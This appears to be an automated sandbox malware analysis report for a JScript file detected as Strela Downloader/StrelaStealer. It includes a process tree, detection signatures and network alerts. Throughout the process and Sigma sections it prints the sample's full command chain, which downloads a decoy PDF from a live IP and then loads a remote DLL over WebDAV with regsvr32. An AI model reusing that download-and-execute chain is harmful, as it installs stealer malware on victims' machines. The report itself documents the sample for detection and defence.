Edit tour

Windows Analysis Report
19663169782459227955.js

Overview

General Information

Sample name:	19663169782459227955.js
Analysis ID:	1588777
MD5:	95b6c113705624486b422c55430a6908
SHA1:	70027a26d618290b2e99a6d5ebac835036e681be
SHA256:	04ff1bc1a71d84b6bb8a1225caacd5519d7a07429ce847fc3d80d24b190fc6c8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7592 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7680 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7732 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1624,i,14524519122257638584,7991782461495427163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7940 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7968 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7252 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7592	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7732, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7732, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7968, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7680, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7680, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7680, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7680, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7680, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7732, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7940, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7968, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7252, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7940, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7968, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 7680, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:24:20.403913+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:24:23.196110+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:24:20.403913+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 19663169782459227955.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 19663169782459227955.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 19663169782459227955.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:24:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

